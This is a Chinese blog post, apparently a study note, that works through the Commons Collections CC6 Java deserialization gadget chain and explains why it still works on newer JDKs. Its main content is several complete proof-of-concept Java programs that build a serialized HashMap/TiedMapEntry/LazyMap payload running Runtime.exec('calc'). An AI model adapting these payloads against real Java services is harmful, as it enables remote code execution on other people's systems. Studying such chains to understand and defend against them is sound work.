# 前言
上一篇也是吧 CC1 的过程重新分析了一下,第一遍学习可能是因为临近考试,过于浮躁,第二遍给我的收获还是很大的😹,当然决定了要重新看一遍 CC 链也不会只调试 CC1 就结束了,后面的也慢慢补上,这篇就记录 CC6 这条利用链。
# CC6
这条链子其实是为了解决 JDK 高版本无法利用 CC1 的问题,还是先贴一个总的逻辑图
上面的是 CC1 的链子,下面框选中的是 CC6 这条链子,URLDNS+CC1 的结晶无疑了
# 高版本修复
先看一下为什么会说高版本无法利用,其实主要是在 AnnotationInvocationHandler 的 readobject 方法中做了一些针对性的修复
这里 setvalue 函数就没有了,所以最上面那个走到 checkSetValue 的这条链就不能再利用了,他复制了一份 linkedHashMap 对象,而不是直接用传入的对象,自然也就不能触发 transform,这里这个类很明显就不能再利用了,所以也就出现了 CC6 这条链子
# 逻辑分析
实际上在 CC6 这条链子中,后面的部分还是和 CC1 是一样的,毕竟改变的是 AnnotationInvocationHandler 的 readobject 方法,从 LazyMap 的 get 方法之后的调用是一样的,上一篇中已经说过了,这里简单的走一下流程
首先还是利用 InvokerTransformer 的 transform 方法来执行任意方法,所以在 poc 中执行代码的部分是没有改变的
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), | |
}; | |
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers); |
然后就直接到了 LazyMap 的 get 方法有一个 factory.transform 可以动态调用 transform 方法,CC1 中这里使用的是 AnnotationInvocationHandler 中的 invoke 方法,这里前面的调用链不能再使用,
但是实际上调用 get 的地方还有很多,很显然高版本中不能利用的解决办法也就找到了
在这么多的地方再寻找一条链子使得调用链子完整就可以了,当然了这里也是找到了 TiedMapEntry 这个类中
在它的 getValue 方法中调用了一个 get 方法,接着看一下构造方法
很显然这里的 map 和 key 都是可控的,这里也就可以动态调用,接着寻找哪里调用了这个 getValue 方法
其实还在同一个类下的 hashcode 方法,看到这里其实就很亲切了,前面在 URlDNS 链子的分析中就已经见过这个方法,通过 HashMap 就可以轻松的调用到这里,那么整个调用链就很清晰了
public class TestClass { | |
public static void serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("serialization方法成功执行"); | |
} | |
public static void unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("URLDNS.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("unserialization执行成功"); | |
} | |
public static void main(String[] args) throws Exception { | |
// | |
// Class c = Runtime.class; | |
// Method getRuntime = c.getMethod("getRuntime", null); | |
// Object invoke = getRuntime.invoke(null, null); | |
// Method exec = c.getMethod("exec", String.class); | |
// exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法 | |
// Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class); | |
// Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1); | |
// new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), | |
}; | |
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers); | |
Map map = new HashMap(); | |
Map decorate = LazyMap.decorate(map,chainedTransformer); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "a"); | |
HashMap kvHashMap = new HashMap<>(); | |
kvHashMap.put(tiedMapEntry,"b"); | |
serialization(kvHashMap); | |
unserialization(); | |
} | |
} |
目前改过的 POC 就是这个样子了,当然他和 URLDNS 那条链子所面临的问题相同
# PUT 影响
这个代码本意是当反序列化的时候会调用一个 hash 方法
接着在 hash 中调用一个 hashcode
当然这里也是动态调用,key 可控,所以接着会调用到 TiedMapEntry 它的 hashCode 方法,接着调用后面的一系列链子
但是这里由于需要将 tiedMapEntry 这个类 put 进 HashMap 中,所以这里调用了一个 put 方法
这里实际上也会调用一个 hash 方法,所以这里也会触发这条链子,所以说这里要进行一个修改,让其在 put 的时候无法触发这条链子
当前的代码逻辑中,在 TiedMapREntry 中当了一个 LazyMap,这里就改它
public class TestClass { | |
public static void serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("serialization方法成功执行"); | |
} | |
public static void unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("URLDNS.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("unserialization执行成功"); | |
} | |
public static void main(String[] args) throws Exception { | |
// | |
// Class c = Runtime.class; | |
// Method getRuntime = c.getMethod("getRuntime", null); | |
// Object invoke = getRuntime.invoke(null, null); | |
// Method exec = c.getMethod("exec", String.class); | |
// exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法 | |
// Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class); | |
// Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1); | |
// new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), | |
}; | |
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers); | |
Map map = new HashMap(); | |
Map decorate = LazyMap.decorate(map,new ConstantTransformer(1)); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "a"); | |
HashMap kvHashMap = new HashMap<>(); | |
kvHashMap.put(tiedMapEntry,"b"); | |
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); | |
Field factory = clazz.getDeclaredField("factory"); | |
factory.setAccessible(true); | |
factory.set(decorate,chainedTransformer); | |
serialization(kvHashMap); | |
unserialization(); | |
} | |
} |
这里改完后在 put 的时候就不会再弹计算器了,但是反序列化的时候也不弹计数器
# 影响
这里其实还是 put 时候导致的问题,这里将断点下在 put 上调试一下
这里直接快进到出现问题的地方
就是这个 LazyMap 中的 get 方法,这里会判断当前的 key 存不存在,如果不存在就会将这个 key 值 put 进 map 中
当反序列化的时候因为有这个 aaa 就无法进到 if 中
所以在 poc 中 put 后面需要删除这个键值对,修改后就是这个样子,这也就是最终的 POC 了
public class TestClass { | |
public static void serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("serialization方法成功执行"); | |
} | |
public static void unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("URLDNS.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("unserialization执行成功"); | |
} | |
public static void main(String[] args) throws Exception { | |
// | |
// Class c = Runtime.class; | |
// Method getRuntime = c.getMethod("getRuntime", null); | |
// Object invoke = getRuntime.invoke(null, null); | |
// Method exec = c.getMethod("exec", String.class); | |
// exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法 | |
// Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class); | |
// Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1); | |
// new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), | |
}; | |
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers); | |
Map map = new HashMap(); | |
Map decorate = LazyMap.decorate(map,new ConstantTransformer(1)); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "aaa"); | |
HashMap kvHashMap = new HashMap<>(); | |
kvHashMap.put(tiedMapEntry,"bbb"); | |
decorate.remove("aaa"); | |
Field clazz = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredField("factory"); | |
clazz.setAccessible(true); | |
clazz.set(decorate,chainedTransformer); | |
serialization(kvHashMap); | |
unserialization(); | |
} | |
} |
# 补充
在调试的时候我注意到这样一个点,这里简单记录一下
在这里调用 decorate 方法的时候我发现这里的 key 值随便写入了一个 aaa
但是在调试的过程中,我发现这个 key 其实是传入 transform 中的参数,在最后调用 InvokerTransformer 的 transform 方法的时候
它其实是通过 ConstantTransformer 修改了这个值,在分析 CC1 的时候这样做是因为参数不可控,所以利用了这种方式,但是这里应该是可以用更简单的方式来完成这件事。所以我简单的改写了一下
public class TestClass { | |
public static void serialization(Object object) throws Exception{ | |
FileOutputStream fileOutputStream = new FileOutputStream("URLDNS.txt"); | |
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); | |
objectOutputStream.writeObject(object); | |
System.out.println("serialization方法成功执行"); | |
} | |
public static void unserialization() throws Exception{ | |
FileInputStream fileInputStream = new FileInputStream("URLDNS.txt"); | |
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); | |
objectInputStream.readObject(); | |
System.out.println("unserialization执行成功"); | |
} | |
public static void main(String[] args) throws Exception { | |
// | |
// Class c = Runtime.class; | |
// Method getRuntime = c.getMethod("getRuntime", null); | |
// Object invoke = getRuntime.invoke(null, null); | |
// Method exec = c.getMethod("exec", String.class); | |
// exec.invoke (invoke,"calc");// 在 invoke 这个对象上调用 exec 执行 calc 方法 | |
// Method invokerTransformer1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class); | |
// Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(invokerTransformer1); | |
// new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }).transform(invoke); | |
Transformer[] transformers = new Transformer[]{ | |
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), | |
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}), | |
}; | |
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);// 通过调用 Runtime 的 exec 来命令执行 | |
Map map = new HashMap(); | |
Map decorate = LazyMap.decorate(map,new ConstantTransformer(1)); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, Runtime.class); | |
HashMap kvHashMap = new HashMap<>(); | |
kvHashMap.put(tiedMapEntry,"bbb"); | |
decorate.clear(); | |
Field clazz = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredField("factory"); | |
clazz.setAccessible(true); | |
clazz.set(decorate,chainedTransformer); | |
// serialization(kvHashMap); | |
unserialization(); | |
} | |
} |
当然也是可以成功的,因为要解决上面提到的 put 的影响,原来的 poc 中使用了 remove 方法删除了 map 中的键值对,这里我直接就使用了 clear 方法清楚全部